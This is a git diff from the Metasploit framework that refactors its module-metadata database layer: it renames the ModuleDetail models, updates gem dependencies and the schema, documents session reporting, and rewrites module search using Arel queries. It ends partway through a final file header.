diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index c98decf347..1e291bb033 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -12,7 +12,7 @@ If your bug is new and you'd like to report it you will need to first](https://dev.metasploit.com/redmine/account/register). Don't worry, it's easy and fun and takes about 30 seconds. -When you file a bug report, please inclue your **steps to reproduce**, +When you file a bug report, please include your **steps to reproduce**, full copy-pastes of Ruby stack traces, and any relevant details about your environment. Without repro steps, your bug will likely be closed. With repro steps, your bugs will likely be fixed. diff --git a/Gemfile b/Gemfile index e31ad1c8e9..0f73f9d8d0 100755 --- a/Gemfile +++ b/Gemfile @@ -12,33 +12,33 @@ gem 'nokogiri' gem 'robots' group :db do - # Needed for Msf::DbManager - gem 'activerecord' - # Database models shared between framework and Pro. - gem 'metasploit_data_models', '~> 0.6.16' - # Needed for module caching in Mdm::ModuleDetails - gem 'pg', '>= 0.11' + # Needed for Msf::DbManager + gem 'activerecord' + # Database models shared between framework and Pro. + gem 'metasploit_data_models', '~> 0.11.2' + # Needed for module caching in Mdm::ModuleDetails + gem 'pg', '>= 0.11' end group :pcap do - # For sniffer and raw socket modules - gem 'pcaprub' + # For sniffer and raw socket modules + gem 'pcaprub' end group :development do - # Markdown formatting for yard - gem 'redcarpet' - # generating documentation - gem 'yard' + # Markdown formatting for yard + gem 'redcarpet' + # generating documentation + gem 'yard' end group :development, :test do # supplies factories for producing model instance for specs - # Version 4.1.0 or newer is needed to support generate calls without the - # 'FactoryGirl.' in factory definitions syntax. - gem 'factory_girl', '>= 4.1.0' - # running documentation generation tasks and rspec tasks - gem 'rake' + # Version 4.1.0 or newer is needed to support generate calls without the + # 'FactoryGirl.' in factory definitions syntax. + gem 'factory_girl', '>= 4.1.0' + # running documentation generation tasks and rspec tasks + gem 'rake' end group :test do @@ -46,9 +46,14 @@ group :test do # transactional fixtures because multiple connections are in use so # transactions won't work. gem 'database_cleaner' - # testing framework - gem 'rspec', '>= 2.12' - # code coverage for tests - # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. - gem 'simplecov', '0.5.4', :require => false + # testing framework + gem 'rspec', '>= 2.12' + # add matchers from shoulda, such as query_the_database, which is useful for + # testing that the Msf::DBManager activation is respected. + gem 'shoulda-matchers' + # code coverage for tests + # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. + gem 'simplecov', '0.5.4', :require => false + # Manipulate Time.now in specs + gem 'timecop' end diff --git a/Gemfile.lock b/Gemfile.lock index c444f09d53..cdf5dd0464 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,6 +13,8 @@ GEM i18n (= 0.6.1) multi_json (~> 1.0) arel (3.0.2) + bourne (1.4.0) + mocha (~> 0.13.2) builder (3.0.4) database_cleaner (0.9.1) diff-lcs (1.2.2) @@ -20,15 +22,18 @@ GEM activesupport (>= 3.0.0) i18n (0.6.1) json (1.7.7) - metasploit_data_models (0.6.16) + metaclass (0.0.1) + metasploit_data_models (0.11.2) activerecord (>= 3.2.13) activesupport pg + mocha (0.13.3) + metaclass (~> 0.0.1) msgpack (0.5.4) multi_json (1.0.4) nokogiri (1.5.9) pcaprub (0.11.3) - pg (0.15.0) + pg (0.15.1) rake (10.0.4) redcarpet (2.2.2) robots (0.10.1) @@ -40,10 +45,14 @@ GEM rspec-expectations (2.13.0) diff-lcs (>= 1.1.3, < 2.0) rspec-mocks (2.13.0) + shoulda-matchers (1.5.2) + activesupport (>= 3.0.0) + bourne (~> 1.3) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) + timecop (0.6.1) tzinfo (0.3.37) yard (0.8.5.2) @@ -56,7 +65,7 @@ DEPENDENCIES database_cleaner factory_girl (>= 4.1.0) json - metasploit_data_models (~> 0.6.16) + metasploit_data_models (~> 0.11.2) msgpack nokogiri pcaprub @@ -65,5 +74,7 @@ DEPENDENCIES redcarpet robots rspec (>= 2.12) + shoulda-matchers simplecov (= 0.5.4) + timecop yard diff --git a/Rakefile b/Rakefile index ea301b6a4a..749f886717 100644 --- a/Rakefile +++ b/Rakefile @@ -36,6 +36,17 @@ else task :default => :spec end +# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if +# YARD is not defined when yard.rake is loaded. +begin + require 'yard' +rescue LoadError + puts "yard not in bundle, so can't set up yard tasks. " \ + "To generate documentation ensure to install the development group." + + print_without = true +end + begin require 'metasploit_data_models' rescue LoadError @@ -58,14 +69,6 @@ else end end -begin - require 'yard' -rescue LoadError - puts "yard not in bundle, so can't set up yard tasks. " \ - "To generate documentation ensure to install the development group." - - print_without = true -end if print_without diff --git a/db/schema.rb b/db/schema.rb index bd6f124190..0ec31eb0dd 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20130228214900) do +ActiveRecord::Schema.define(:version => 20130430162145) do create_table "api_keys", :force => true do |t| t.text "token" @@ -135,7 +135,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do create_table "hosts", :force => true do |t| t.datetime "created_at" - t.string "address", :limit => nil + t.string "address", :limit => nil, :null => false t.string "mac" t.string "comm" t.string "name" @@ -145,7 +145,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do t.string "os_sp" t.string "os_lang" t.string "arch" - t.integer "workspace_id" + t.integer "workspace_id", :null => false t.datetime "updated_at" t.text "purpose" t.string "info", :limit => 65536 @@ -157,14 +157,15 @@ ActiveRecord::Schema.define(:version => 20130228214900) do t.integer "service_count", :default => 0 t.integer "host_detail_count", :default => 0 t.integer "exploit_attempt_count", :default => 0 + t.integer "cred_count", :default => 0 end - add_index "hosts", ["address"], :name => "index_hosts_on_address" add_index "hosts", ["name"], :name => "index_hosts_on_name" add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor" add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name" add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose" add_index "hosts", ["state"], :name => "index_hosts_on_state" + add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true create_table "hosts_tags", :id => false, :force => true do |t| t.integer "host_id" @@ -223,26 +224,26 @@ ActiveRecord::Schema.define(:version => 20130228214900) do end create_table "module_actions", :force => true do |t| - t.integer "module_detail_id" + t.integer "detail_id" t.text "name" end - add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id" + add_index "module_actions", ["detail_id"], :name => "index_module_actions_on_module_detail_id" create_table "module_archs", :force => true do |t| - t.integer "module_detail_id" + t.integer "detail_id" t.text "name" end - add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id" + add_index "module_archs", ["detail_id"], :name => "index_module_archs_on_module_detail_id" create_table "module_authors", :force => true do |t| - t.integer "module_detail_id" + t.integer "detail_id" t.text "name" t.text "email" end - add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id" + add_index "module_authors", ["detail_id"], :name => "index_module_authors_on_module_detail_id" create_table "module_details", :force => true do |t| t.datetime "mtime" @@ -268,34 +269,34 @@ ActiveRecord::Schema.define(:version => 20130228214900) do add_index "module_details", ["refname"], :name => "index_module_details_on_refname" create_table "module_mixins", :force => true do |t| - t.integer "module_detail_id" + t.integer "detail_id" t.text "name" end - add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id" + add_index "module_mixins", ["detail_id"], :name => "index_module_mixins_on_module_detail_id" create_table "module_platforms", :force => true do |t| - t.integer "module_detail_id" + t.integer "detail_id" t.text "name" end - add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id" + add_index "module_platforms", ["detail_id"], :name => "index_module_platforms_on_module_detail_id" create_table "module_refs", :force => true do |t| - t.integer "module_detail_id" + t.integer "detail_id" t.text "name" end - add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id" + add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id" add_index "module_refs", ["name"], :name => "index_module_refs_on_name" create_table "module_targets", :force => true do |t| - t.integer "module_detail_id" + t.integer "detail_id" t.integer "index" t.text "name" end - add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id" + add_index "module_targets", ["detail_id"], :name => "index_module_targets_on_module_detail_id" create_table "nexpose_consoles", :force => true do |t| t.datetime "created_at", :null => false diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 0ffce1493d..92d32a347e 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -645,12 +645,69 @@ class DBManager } end - # Record a new session in the database + # @note The Mdm::Session#desc will be truncated to 255 characters. + # @todo https://www.pivotaltracker.com/story/show/48249739 # - # opts MUST contain either - # +:session+:: the Msf::Session object we are reporting - # +:host+:: the Host object we are reporting a session on. + # @overload report_session(opts) + # Creates an Mdm::Session from Msf::Session. If +via_exploit+ is set on the + # +session+, then an Mdm::Vuln and Mdm::ExploitAttempt is created for the + # session's host. The Mdm::Host for the +session_host+ is created using + # The session.session_host, +session.arch+ (if +session+ responds to arch), + # and the workspace derived from opts or the +session+. The Mdm::Session is + # assumed to be +last_seen+ and +opened_at+ at the time report_session is + # called. +session.exploit_datastore['ParentModule']+ is used for the + # Mdm::Session#via_exploit if +session.via_exploit+ is + # 'exploit/multi/handler'. # + # @param opts [Hash{Symbol => Object}] options + # @option opt [Msf::Session, #datastore, #platform, #type, #via_exploit, #via_payload] :session + # The in-memory session to persist to the database. + # @option opts [Mdm::Workspace] :workspace The workspace for in which the + # :session host is contained. Also used as the workspace for the + # Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with + # Mdm::Workspace#name equal to +session.workspace+. + # @return [nil] if {Msf::DBManager#active} is +false+. + # @return [Mdm::Session] if session is saved + # @raise [ArgumentError] if :session is not an {Msf::Session}. + # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be + # saved, in which case, the Mdm::ExploitAttempt and Mdm::Vuln will not be + # created, but the Mdm::Host will have been. (There is no transaction + # to rollback the Mdm::Host creation.) + # @see #find_or_create_host + # @see #normalize_host + # @see #report_exploit_success + # @see #report_vuln + # + # @overload report_session(opts) + # Creates an Mdm::Session from Mdm::Host. + # + # @param opts [Hash{Symbol => Object}] options + # @option opts [DateTime, Time] :closed_at The date and time the sesion was + # closed. + # @option opts [String] :close_reason Reason the session was closed. + # @option opts [Hash] :datastore {Msf::DataStore#to_h}. + # @option opts [String] :desc Session description. Will be truncated to 255 + # characters. + # @option opts [Mdm::Host] :host The host on which the session was opened. + # @option opts [DateTime, Time] :last_seen The last date and time the + # session was seen to be open. Defaults to :closed_at's value. + # @option opts [DateTime, Time] :opened_at The date and time that the + # session was opened. + # @option opts [String] :platform The platform of the host. + # @option opts [Array] :routes ([]) The routes through the session for + # pivoting. + # @option opts [String] :stype Session type. + # @option opts [String] :via_exploit The {Msf::Module#fullname} of the + # exploit that was used to open the session. + # @option option [String] :via_payload the {MSf::Module#fullname} of the + # payload sent to the host when the exploit was successful. + # @return [nil] if {Msf::DBManager#active} is +false+. + # @return [Mdm::Session] if session is saved. + # @raise [ArgumentError] if :host is not an Mdm::Host. + # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be + # saved. + # + # @raise ArgumentError if :host and :session is +nil+ def report_session(opts) return if not active ::ActiveRecord::Base.connection_pool.with_connection { @@ -719,13 +776,11 @@ class DBManager # If this is a live session, we know the host is vulnerable to something. if opts[:session] and session.via_exploit - return unless host - mod = framework.modules.create(session.via_exploit) if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] mod_fullname = sess_data[:datastore]['ParentModule'] - mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name + mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name else mod_name = mod.name mod_fullname = mod.fullname diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index effa7ff813..a5a0532cfd 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -358,9 +358,19 @@ class Export return el end - + # @note there is no single root element output by + # {#extract_module_detail_info}, so if calling {#extract_module_detail_info} + # directly, it is the caller's responsibility to add an opening and closing + # tag to report_file around the call to {#extract_module_detail_info}. + # + # Writes a module_detail element to the report_file for each + # Mdm::Module::Detail. + # + # @param report_file [#write, #flush] IO stream to which to write the + # module_detail elements. + # @return [void] def extract_module_detail_info(report_file) - Mdm::ModuleDetail.all.each do |m| + Mdm::Module::Detail.all.each do |m| report_file.write("\n") m_id = m.attributes["id"] @@ -371,6 +381,7 @@ class Export end # Authors sub-elements + # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" \n") m.authors.find(:all).each do |d| d.attributes.each_pair do |k,v| @@ -381,6 +392,7 @@ class Export report_file.write(" \n") # Refs sub-elements + # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" \n") m.refs.find(:all).each do |d| d.attributes.each_pair do |k,v| @@ -392,6 +404,7 @@ class Export # Archs sub-elements + # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" \n") m.archs.find(:all).each do |d| d.attributes.each_pair do |k,v| @@ -403,6 +416,7 @@ class Export # Platforms sub-elements + # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" \n") m.platforms.find(:all).each do |d| d.attributes.each_pair do |k,v| @@ -414,6 +428,7 @@ class Export # Targets sub-elements + # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" \n") m.targets.find(:all).each do |d| d.attributes.each_pair do |k,v| @@ -424,6 +439,7 @@ class Export report_file.write(" \n") # Actions sub-elements + # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" \n") m.actions.find(:all).each do |d| d.attributes.each_pair do |k,v| @@ -434,6 +450,7 @@ class Export report_file.write(" \n") # Mixins sub-elements + # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" \n") m.mixins.find(:all).each do |d| d.attributes.each_pair do |k,v| diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 75a2bcd6d0..feaf50716f 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -314,17 +314,28 @@ class DBManager end + # @note Does nothing unless {#migrated} is +true+ and {#modules_caching} is + # +false+. + # + # Destroys all Mdm::Module::Details in the database. + # + # @return [void] def purge_all_module_details return if not self.migrated return if self.modules_caching ::ActiveRecord::Base.connection_pool.with_connection do - Mdm::ModuleDetail.destroy_all + Mdm::Module::Detail.destroy_all end - - true end + # Destroys the old Mdm::Module::Detail and creates a new Mdm::Module::Detail for + # any module with an Mdm::Module::Detail where the modification time of the + # Mdm::Module::Detail#file differs from the Mdm::Module::Detail#mtime. If the + # Mdm::Module::Detail#file no only exists on disk, then the Mdm::Module::Detail + # is just destroyed without a new one being created. + # + # @return [void] def update_all_module_details return if not self.migrated return if self.modules_caching @@ -334,106 +345,112 @@ class DBManager self.modules_cached = false self.modules_caching = true - ::ActiveRecord::Base.connection_pool.with_connection { + ActiveRecord::Base.connection_pool.with_connection do - refresh = [] - skipped = [] + refresh = [] + skipped = [] - Mdm::ModuleDetail.find_each do |md| + Mdm::Module::Detail.find_each do |md| - unless md.ready - refresh << md - next + unless md.ready + refresh << md + next + end + + unless md.file and ::File.exists?(md.file) + refresh << md + next + end + + if ::File.mtime(md.file).to_i != md.mtime.to_i + refresh << md + next + end + + skipped << [md.mtype, md.refname] end - unless md.file and ::File.exists?(md.file) - refresh << md - next - end + refresh.each { |md| md.destroy } - if ::File.mtime(md.file).to_i != md.mtime.to_i - refresh << md - next - end - - skipped << [md.mtype, md.refname] - end - - refresh.each {|md| md.destroy } - refresh = nil - - [ - [ 'exploit', framework.exploits ], - [ 'auxiliary', framework.auxiliary ], - [ 'post', framework.post ], - [ 'payload', framework.payloads ], - [ 'encoder', framework.encoders ], - [ 'nop', framework.nops ] - ].each do |mt| - mt[1].keys.sort.each do |mn| - next if skipped.include?( [ mt[0], mn ] ) - obj = mt[1].create(mn) - next if not obj - begin - update_module_details(obj) - rescue ::Exception - elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}") + [ + ['exploit', framework.exploits], + ['auxiliary', framework.auxiliary], + ['post', framework.post], + ['payload', framework.payloads], + ['encoder', framework.encoders], + ['nop', framework.nops] + ].each do |mt| + mt[1].keys.sort.each do |mn| + next if skipped.include?([mt[0], mn]) + obj = mt[1].create(mn) + next if not obj + begin + update_module_details(obj) + rescue ::Exception + elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}") + end end end + + self.framework.cache_initialized = true end - self.framework.cache_initialized = true - self.framework.cache_thread = nil - - self.modules_cached = true + # in reverse order of section before with_connection block self.modules_caching = false - - nil - - } + self.modules_cached = true + self.framework.cache_thread = nil end - def update_module_details(obj) + # Creates an Mdm::Module::Detail from a module instance. + # + # @param module_instance [Msf::Module] a metasploit module instance. + # @raise [ActiveRecord::RecordInvalid] if Hash from {#module_to_details_hash} is invalid attributes for + # Mdm::Module::Detail. + # @return [void] + def update_module_details(module_instance) return if not self.migrated - ::ActiveRecord::Base.connection_pool.with_connection { - info = module_to_details_hash(obj) - bits = info.delete(:bits) || [] + ActiveRecord::Base.connection_pool.with_connection do + info = module_to_details_hash(module_instance) + bits = info.delete(:bits) || [] + module_detail = Mdm::Module::Detail.create!(info) - md = Mdm::ModuleDetail.create(info) - bits.each do |args| - otype, vals = args - case otype - when :author - md.add_author(vals[:name], vals[:email]) - when :action - md.add_action(vals[:name]) - when :arch - md.add_arch(vals[:name]) - when :platform - md.add_platform(vals[:name]) - when :target - md.add_target(vals[:index], vals[:name]) - when :ref - md.add_ref(vals[:name]) - when :mixin - # md.add_mixin(vals[:name]) + bits.each do |args| + otype, vals = args + + case otype + when :action + module_detail.add_action(vals[:name]) + when :arch + module_detail.add_arch(vals[:name]) + when :author + module_detail.add_author(vals[:name], vals[:email]) + when :platform + module_detail.add_platform(vals[:name]) + when :ref + module_detail.add_ref(vals[:name]) + when :target + module_detail.add_target(vals[:index], vals[:name]) + end end + + module_detail.ready = true + module_detail.save! end - - md.ready = true - md.save - md.id - - } end + # Destroys Mdm::Module::Detail if one exists for the given + # Mdm::Module::Detail#mtype and Mdm::Module::Detail#refname. + # + # @param mtype [String] module type. + # @param refname [String] module reference name. + # @return [void] def remove_module_details(mtype, refname) return if not self.migrated - ::ActiveRecord::Base.connection_pool.with_connection { - md = Mdm::ModuleDetail.find(:conditions => [ 'mtype = ? and refname = ?', mtype, refname]) - md.destroy if md - } + + ActiveRecord::Base.connection_pool.with_connection do + Mdm::Module::Detail.where(:mtype => mtype, :refname => refname).destroy_all + end end def module_to_details_hash(m) @@ -523,108 +540,169 @@ class DBManager res end + # Wraps values in +'%'+ for Arel::Prediciation#matches_any and other match* methods that map to SQL +'LIKE'+ or + # +'ILIKE'+ + # + # @param values [Set, #each] a list of strings. + # @return [Arrray] strings wrapped like %% + def match_values(values) + wrapped_values = values.collect { |value| + "%#{value}%" + } + wrapped_values + end - # # This provides a standard set of search filters for every module. - # The search terms are in the form of: - # { - # "text" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ], - # "cve" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ] - # } # - # Returns true on no match, false on match + # Supported keywords with the format :: + # +app+:: If +client+ then matches +'passive'+ stance modules, otherwise matches +'active' stance modules. + # +author+:: Matches modules with the given author email or name. + # +bid+:: Matches modules with the given Bugtraq ID. + # +cve+:: Matches modules with the given CVE ID. + # +edb+:: Matches modules with the given Exploit-DB ID. + # +name+:: Matches modules with the given full name or name. + # +os+, +platform+:: Matches modules with the given platform or target name. + # +osvdb+:: Matches modules with the given OSVDB ID. + # +ref+:: Matches modules with the given reference ID. + # +type+:: Matches modules with the given type. # - def search_modules(search_string, inclusive=false) - return false if not search_string + # Any text not associated with a keyword is matched against the description, + # the full name, and the name of the module; the name of the module actions; + # the name of the module archs; the name of the module authors; the name of + # module platform; the module refs; or the module target. + # + # @param search_string [String] a string of space separated keyword pairs or + # free form text. + # @return [[]] if search_string is +nil+ + # @return [ActiveRecord::Relation] module details that matched + # +search_string+ + def search_modules(search_string) + search_string ||= '' + search_string += " " - search_string += " " + # Split search terms by space, but allow quoted strings + terms = Shellwords.shellwords(search_string) + terms.delete('') - # Split search terms by space, but allow quoted strings - terms = Shellwords.shellwords(search_string) - terms.delete('') + # All terms are either included or excluded + value_set_by_keyword = Hash.new { |hash, keyword| + hash[keyword] = Set.new + } - # All terms are either included or excluded - res = {} + terms.each do |term| + keyword, value = term.split(':', 2) - terms.each do |t| - f,v = t.split(":", 2) - if not v - v = f - f = 'text' - end - next if v.length == 0 - f.downcase! - v.downcase! - res[f] ||= [ ] - res[f] << v - end + unless value + value = keyword + keyword = 'text' + end - ::ActiveRecord::Base.connection_pool.with_connection { + unless value.empty? + keyword.downcase! - where_q = [] - where_v = [] + value_set = value_set_by_keyword[keyword] + value_set.add value + end + end - res.keys.each do |kt| - res[kt].each do |kv| - kv = kv.downcase - case kt - when 'text' - xv = "%#{kv}%" - where_q << ' ( ' + - 'module_details.fullname ILIKE ? OR module_details.name ILIKE ? OR module_details.description ILIKE ? OR ' + - 'module_authors.name ILIKE ? OR module_actions.name ILIKE ? OR module_archs.name ILIKE ? OR ' + - 'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? OR module_refs.name ILIKE ?' + - ') ' - where_v << [ xv, xv, xv, xv, xv, xv, xv, xv, xv ] - when 'name' - xv = "%#{kv}%" - where_q << ' ( module_details.fullname ILIKE ? OR module_details.name ILIKE ? ) ' - where_v << [ xv, xv ] - when 'author' - xv = "%#{kv}%" - where_q << ' ( module_authors.name ILIKE ? OR module_authors.email ILIKE ? ) ' - where_v << [ xv, xv ] - when 'os','platform' - xv = "%#{kv}%" - where_q << ' ( module_platforms.name ILIKE ? OR module_targets.name ILIKE ? ) ' - where_v << [ xv, xv ] - when 'port' - # TODO - when 'type' - where_q << ' ( module_details.mtype = ? ) ' - where_v << [ kv ] - when 'app' - where_q << ' ( module_details.stance = ? )' - where_v << [ ( kv == "client") ? "passive" : "aggressive" ] - when 'ref' - where_q << ' ( module_refs.name ILIKE ? )' - where_v << [ '%' + kv + '%' ] - when 'cve','bid','osvdb','edb' - where_q << ' ( module_refs.name = ? )' - where_v << [ kt.upcase + '-' + kv ] + query = Mdm::Module::Detail.scoped - end - end - end + ActiveRecord::Base.connection_pool.with_connection do + # Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports + # intersection, so creating the where clause has to be delayed until all conditions can be or'd together and + # passed to one call ot where. + union_conditions = [] - qry = Mdm::ModuleDetail.select("DISTINCT(module_details.*)"). - joins( - "LEFT OUTER JOIN module_authors ON module_details.id = module_authors.module_detail_id " + - "LEFT OUTER JOIN module_actions ON module_details.id = module_actions.module_detail_id " + - "LEFT OUTER JOIN module_archs ON module_details.id = module_archs.module_detail_id " + - "LEFT OUTER JOIN module_refs ON module_details.id = module_refs.module_detail_id " + - "LEFT OUTER JOIN module_targets ON module_details.id = module_targets.module_detail_id " + - "LEFT OUTER JOIN module_platforms ON module_details.id = module_platforms.module_detail_id " - ). - where(where_q.join(inclusive ? " OR " : " AND "), *(where_v.flatten)). - # Compatibility for Postgres installations prior to 9.1 - doesn't have support for wildcard group by clauses - group("module_details.id, module_details.mtime, module_details.file, module_details.mtype, module_details.refname, module_details.fullname, module_details.name, module_details.rank, module_details.description, module_details.license, module_details.privileged, module_details.disclosure_date, module_details.default_target, module_details.default_action, module_details.stance, module_details.ready") + value_set_by_keyword.each do |keyword, value_set| + case keyword + when 'author' + formatted_values = match_values(value_set) - res = qry.all + query = query.includes(:authors) + module_authors = Mdm::Module::Author.arel_table + union_conditions << module_authors[:email].matches_any(formatted_values) + union_conditions << module_authors[:name].matches_any(formatted_values) + when 'name' + formatted_values = match_values(value_set) - } - end + module_details = Mdm::Module::Detail.arel_table + union_conditions << module_details[:fullname].matches_any(formatted_values) + union_conditions << module_details[:name].matches_any(formatted_values) + when 'os', 'platform' + formatted_values = match_values(value_set) + + query = query.includes(:platforms) + union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:targets) + union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values) + when 'text' + formatted_values = match_values(value_set) + + module_details = Mdm::Module::Detail.arel_table + union_conditions << module_details[:description].matches_any(formatted_values) + union_conditions << module_details[:fullname].matches_any(formatted_values) + union_conditions << module_details[:name].matches_any(formatted_values) + + query = query.includes(:actions) + union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:archs) + union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:authors) + union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:platforms) + union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:refs) + union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) + + query = query.includes(:targets) + union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values) + when 'type' + formatted_values = match_values(value_set) + union_conditions << Mdm::Module::Detail.arel_table[:mtype].matches_any(formatted_values) + when 'app' + formatted_values = value_set.collect { |value| + formatted_value = 'aggressive' + + if value == 'client' + formatted_value = 'passive' + end + + formatted_value + } + + union_conditions << Mdm::Module::Detail.arel_table[:stance].eq_any(formatted_values) + when 'ref' + formatted_values = match_values(value_set) + + query = query.includes(:refs) + union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) + when 'cve', 'bid', 'osvdb', 'edb' + formatted_values = value_set.collect { |value| + prefix = keyword.upcase + + "#{prefix}-#{value}" + } + + query = query.includes(:refs) + union_conditions << Mdm::Module::Ref.arel_table[:name].eq_any(formatted_values) + end + end + + unioned_conditions = union_conditions.inject { |union, condition| + union.or(condition) + } + + query = query.where(unioned_conditions).uniq + end + + query + end end end diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index 0c6e281404..ebd49f6e88 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -46,13 +46,19 @@ module Msf::ModuleManager::Cache loaded end - # Rebuild the cache for the module set + # @overload refresh_cache_from_module_files + # Rebuilds database and in-memory cache for all modules. # - # @return [void] - def refresh_cache_from_module_files(mod = nil) + # @return [void] + # @overload refresh_cache_from_module_files(module_class_or_instance) + # Rebuilds database and in-memory cache for given module_class_or_instance. + # + # @param (see Msf::DBManager#update_module_details) + # @return [void] + def refresh_cache_from_module_files(module_class_or_instance = nil) if framework_migrated? - if mod - framework.db.update_module_details(mod) + if module_class_or_instance + framework.db.update_module_details(module_class_or_instance) else framework.db.update_all_module_details end @@ -61,7 +67,7 @@ module Msf::ModuleManager::Cache end end - # Reset the module cache + # Refreshes the in-memory cache from the database cache. # # @return [void] def refresh_cache_from_database @@ -86,43 +92,49 @@ module Msf::ModuleManager::Cache # @return (see #module_info_by_path_from_database!) attr_accessor :module_info_by_path - # Return a module info from Mdm::ModuleDetails in database. + # Return a module info from Mdm::Module::Details in database. # # @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set. # - # @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::ModuleDetail#file) to module information. Module - # information is a Hash derived from Mdm::ModuleDetail. It includes :modification_time, :parent_path, :type, + # @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module + # information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type, # :reference_name. def module_info_by_path_from_database! self.module_info_by_path = {} if framework_migrated? - # TODO record module parent_path in {Mdm::ModuleDetail} so it does not need to be derived from file. - ::Mdm::ModuleDetail.find(:all).each do |module_detail| - path = module_detail.file - type = module_detail.mtype - reference_name = module_detail.refname + ActiveRecord::Base.connection_pool.with_connection do + # TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file. + # Use find_each so Mdm::Module::Details are returned in batches, which will + # handle the growing number of modules better than all.each. + Mdm::Module::Detail.find_each do |module_detail| + path = module_detail.file + type = module_detail.mtype + reference_name = module_detail.refname - typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name) - escaped_typed_path = Regexp.escape(typed_path) - parent_path = path.gsub(/#{escaped_typed_path}$/, '') + typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name) + # join to '' so that typed_path_prefix starts with file separator + typed_path_suffix = File.join('', typed_path) + escaped_typed_path = Regexp.escape(typed_path_suffix) + parent_path = path.gsub(/#{escaped_typed_path}$/, '') - module_info_by_path[path] = { - :reference_name => reference_name, - :type => type, - :parent_path => parent_path, - :modification_time => module_detail.mtime - } + module_info_by_path[path] = { + :reference_name => reference_name, + :type => type, + :parent_path => parent_path, + :modification_time => module_detail.mtime + } - typed_module_set = module_set(type) + typed_module_set = module_set(type) - # Don't want to trigger as {Msf::ModuleSet#create} so check for - # key instead of using ||= which would call {Msf::ModuleSet#[]} - # which would potentially call {Msf::ModuleSet#create}. - unless typed_module_set.has_key? reference_name - typed_module_set[reference_name] = Msf::SymbolicModule - end - end + # Don't want to trigger as {Msf::ModuleSet#create} so check for + # key instead of using ||= which would call {Msf::ModuleSet#[]} + # which would potentially call {Msf::ModuleSet#create}. + unless typed_module_set.has_key? reference_name + typed_module_set[reference_name] = Msf::SymbolicModule + end + end + end end self.module_info_by_path diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 1068737a53..d9dc78594e 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ 